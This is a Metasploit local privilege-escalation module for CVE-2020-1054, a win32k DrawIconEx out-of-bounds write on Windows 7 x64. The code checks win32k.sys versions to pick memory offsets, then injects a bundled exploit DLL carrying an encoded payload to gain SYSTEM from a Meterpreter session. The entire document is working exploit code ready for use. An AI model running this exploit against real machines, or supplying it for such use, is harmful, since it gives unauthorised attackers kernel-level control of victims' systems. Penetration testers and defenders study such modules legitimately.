## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/file' require 'msf/core/exploit/exe' require 'msf/core/post/windows/priv' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation', 'Description' => %q{ This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx within win32k. The out of bounds write can be used to overwrite the pvbits of a SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel memory, an attacker can gain arbitrary code execution as the SYSTEM user. This module has been tested against a fully updated Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Netanel Ben-Simon', 'Yoav Alon', 'bee13oy', 'timwr', # msf module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows 7 x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Payload' => { 'Space' => 4096 }, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS ], 'Reliability' => [ UNRELIABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] }, 'References' => [ ['CVE', '2020-1054'], ['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'], ['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'], ['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'], ['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'], ['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp'] ], 'DisclosureDate' => '2020-02-20' ) ) end def check if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end file_path = expand_path('%WINDIR%\\system32\\win32k.sys') major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") build_num_gemversion = Rex::Version.new("#{major}.#{minor}.#{build}.#{revision}") if (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24542')) # Windows 7 SP1 @xleft_offset = 0x900 @oob_offset = 0x238 return CheckCode::Appears elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24553')) # Windows 7 SP1 with patches @xleft_offset = 0x8c0 @oob_offset = 0x240 return CheckCode::Appears else return CheckCode::Safe("No target for win32k.sys version #{build_num_gemversion}") end end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] != ARCH_X64 fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported') end # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Executing exploit...') encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1054', 'exploit.dll'), [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end